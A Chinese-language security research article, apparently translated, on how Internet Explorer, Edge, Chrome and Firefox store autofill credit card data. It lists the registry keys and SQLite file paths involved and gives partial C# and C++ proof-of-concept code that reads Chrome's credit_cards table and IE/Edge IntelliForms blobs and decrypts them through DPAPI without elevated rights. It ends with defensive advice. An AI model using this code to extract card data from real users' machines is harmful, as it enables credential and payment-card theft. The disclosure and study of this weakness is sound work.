看我如何從瀏覽器中獲取信用卡密碼
一.寫在前面的話
在如今信用卡時代,信用卡盜刷案例層出不窮,作案方式也是五花八門。如中間人(MITM),惡意軟件和rootkit攻擊。一旦攻擊者獲得數據訪問權限,他們會將竊取到的信用卡信息轉移到他們的服務器,然后將其用于匿名支付或出售以賺取利潤。
最近我們研究了幾款最受歡迎的四種瀏覽器—Internet Explorer(IE),Microsoft Edge,Google Chrome和Mozilla Firefox是如何存儲信用卡數據以及其他的安全風險。
二.記住密碼
如今許多瀏覽器為了方便用戶使用提供了記住密碼等功能。但同時也暴露了一些安全問題。就以“記住密碼”功能為例。首先我們了解下它的工作原理:瀏覽器存儲HTML表單數據,并在請求信息時自動填寫表單。這樣可以避免用戶重新輸入信息,節省填寫表單的時間。在研究中我們發現IE,Edge,Chrome和Firefox都存在記住密碼的功能。不幸的是,他們存儲敏感信息的方式都存在安全隱患。
在圖1中,您可以看到記住密碼功能的一個示例。
圖1
三.如何儲存自動填寫的數據
自動填寫數據基于操作系統(OS)的不同存儲在不同位置。我們看看常見的幾種瀏覽器是怎么儲存數據的。
IE和Edge將數據存儲至以下注冊表項
- HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms FormData
- HKEY_CURRENT_USER Software Classes LocalSettings Software Microsoft Windows CurrentVersion
- AppContainer Storage microsoft.microsoftedge_8wekyb3d8bbwe MicrosoftEdge IntelliForms FormData
- HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage1
- HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage2
Chrome將數據存儲在SQLite數據庫文件中
- %LocalAppData% Google Chrome User Data Default Web Data
Firefox將數據存儲在SQLite數據庫文件中
- %AppData% Mozilla Firefox Profiles {uniqString}。默認 formhistory.sqlite
需要注意的是IE,Edge,Chrome和Firefox都利用Windows DPAPI(數據保護接口)來加密自動填寫數據,并在下次使用之前將其解密。
四.DPAPI
DPAPI(數據保護接口)是一對調用函數,為用戶和系統進程提供操作系統級別的數據保護服務。可是我們知道數據保護是操作系統的一部分,所以每個應用程序都可以保護數據,而不需要任何特定的加密代碼,也就是說不需要DPAPI進行的函數調用。
那么問題來了:瀏覽器使用DPAPI函數,同時加密所需的數據,而且不需要用戶干預。任何腳本或代碼都可以在不需要特殊許可或提升權限的情況下就可以調用解密DPAPI函數來解密數據,比如信用卡信息。
五.加密數據提取
為了從IE,Edge,Chrome和Firefox中提取信用卡數據,我們需要了解兩件事情:
1.SQLite數據庫結構
2.如何使用DPAPI解密信用卡信息
SQLite是如今很受歡迎的嵌入式數據庫軟件。它廣泛部署數據庫引擎,也用于瀏覽器,操作系統,嵌入式系統(例如,移動電話)和其它軟件。
DPAPI CryptUnprotectData函數
圖2
重要參數:
pDataIn [輸入]
指向保存加密數據的DATA_BLOB結構的指針。
ppszDataDescr [輸出,可選]
指向加密數據字符串可讀的指針。
pOptionalEntropy [輸入,可選]
指向數據加密時使用的密碼或其他附加熵的DATA_BLOB結構的指針 。
pPromptStruct [輸入,可選]
指向CRYPTPROTECT_PROMPTSTRUCT結構的指針,該結構提供有關顯示提示的位置和時間以及這些提示的內容應該是什么內容的信息。該參數可以設置為NULL。
pDataOut [輸出]
指向接收解密數據的DATA_BLOB結構的指針。
六.Chrome案例研究
1.Chrome SQLite存儲文件
圖3通過使用“DB Browser for SQLite”工具顯示Chrome的自動填寫數據(在Web數據SQLite文件下)。
請注意,Chrome會將信用卡詳細信息保存在一個名為“credit_cards”的單獨表格中
圖3
正如你所看到的,所有的細節都是明文的,除了card_number字段,它為一個加密的BlobData字段。
在圖4中,您可以看到其他保存的表格,其中的數據也未加密。
圖4
2.Chrome DPAPI調用
Chrome瀏覽器允許用戶通過設置來查看存儲的信用卡信息,你在地址欄輸入chrome:// settings / AutoFill就可以看見了。
圖5
正如你看到的,我們有一張編號“4916 4182 7187 7549”的信用卡。當要求查看信用卡信息時,或者瀏覽器嘗試自動填寫表單字段時,會調用用于解密數據的DPAPI功能。
在圖6中,您可以看到Chrome API對DPAPI函數-CryptUnProtectData()的調用。參數pDataOut-> pbdata指向返回的解密數據(參見函數聲明和pDataOut參數)。
*您可以在pDataOut-> pbdata的地址空間中看到卡號“4916 4182 7187 7549” 。
圖6
圖6- API監視器,Chrome瀏覽器調用DPAPI CryptUnprotectData()函數
無獨有偶,IE和Edge瀏覽器在自動填寫用戶表單字段時使用相同的過程。
唯一的區別是IE和Edge將他們的自動填寫數據作為加密的BlobData存儲在注冊表中。
至于Firefox,您也可以使用“DB Browser for SQLite”工具查看未加密的數據。
七.深入探索代碼
在了解這些情況之后,我們可以從以下兩點來編寫我們POC:
1.將處理SQLite數據庫(適用于Chrome和Firefox)和DPAPI的軟件包導入到我們的項目中。
2.使用DPAPI函數來解密瀏覽器的自動填寫的BlobData。
Chrome代碼(C#)
第1行 – 定義Chrome自動填寫數據庫文件的路徑(應該關閉Chrome才能訪問該文件)。
第2行 – 定義存儲信用卡詳細信息的表的名稱。
- string SQLiteFilePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+ "\Google\Chrome\User Data\Default\Web Data";
- string tableName = "credit_cards";
- . . .
第1-5行定義到db的連接,以及查詢所需的表(credit_cards)。
第7-8行將所需數據返回到DB DataTable對象(此對象表示一個內存數據表)。
- string ConnectionString = "data source=" + SQLiteFilePath + ";New=True;UseUTF16Encoding=True";
- string sql = string.Format("SELECT * FROM {0} ", tableName);
- SQLiteConnection connect = new SQLiteConnection(ConnectionString)
- SQLiteCommand command = new SQLiteCommand(sql, connect);
- SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
- DataTable DB = new DataTable();
- adapter.Fill(DB);
- ................
第1行從DB對象中提取加密的BlobData字段(信用卡號)。
第2行發送加密的BlobData進行解密。
- byte[] byteArray = (byte[])DB.Rows[i][4];
- byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
- . . .
- }
IE & Edge code (C++)- –
第1行定義了一個DATA_BLOB對象,該對象將保存加密數據(自動填寫注冊表值)。
第2行定義了一個DATA_BLOB對象,該對象將保存解密的數據(自動填寫注冊表值)。
第4-8行定義了注冊碼。(這些注冊表鍵都保存著reg值,它們保存著自動填寫Blob數據)。
- DATA_BLOB DataIn;
- DATA_BLOB DataVerify;
- std::vector<LPCWSTR> RegKeys;
- RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\FormData");
- RegKeys.push_back(L"Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData");
- RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\Storage1");
- RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\Storage2");
- . . .
剩下要做的就是運行每個注冊表項,并為每個注冊表項提取其注冊表值(自動填寫BlobData)。
- for (int i = 0; i < 4; i++)
- {
- RegOpenKeyEx(HKEY_CURRENT_USER, RegKeys[i], 0, KEY_QUERY_VALUE, &hKey)
- for (int j = 0; j < keyValues.size(); j++)
- {
- RegQueryValueEx(hKey, keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize);
- . . .
為了將數據發送到解密函數(decryptContentDPAPI是CryptUnProtectData()函數的包裝函數),我們需要將返回的自動填寫BlobData(通過RegQueryValueEx調用獲取)轉換為DATA_BLOB對象。解密后的數據將被返回到DataVerify對象中。
- DataIn.cbData = dwBufSize;
- DataIn.pbData = dwReturn;
- decryptContentDPAPI(&DataIn,&DataVerify);
- . . .
八.寫在最后的話
綜上所述,問題的根源在于使用了DPAPI,正因為這樣惡意軟件和木馬就可以在不需要用戶干預的情況下自動解密數據。提取到用戶數據,例如信用卡和密碼數據。
一些建議:
第一,禁用瀏覽器的自動填寫選項。
第二,盡量不要在瀏覽器中填寫關于信用卡的數據,更不要在不安全的網絡環境進行交易。
參考文獻
- https://msdn.microsoft.com/en-us/library/ms995355.aspx
- https://www.sqlite.org/
- https://www.kraftkennedy.com/roaming-internet-explorer-chrome-user-saved-passwords-ue-v/
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx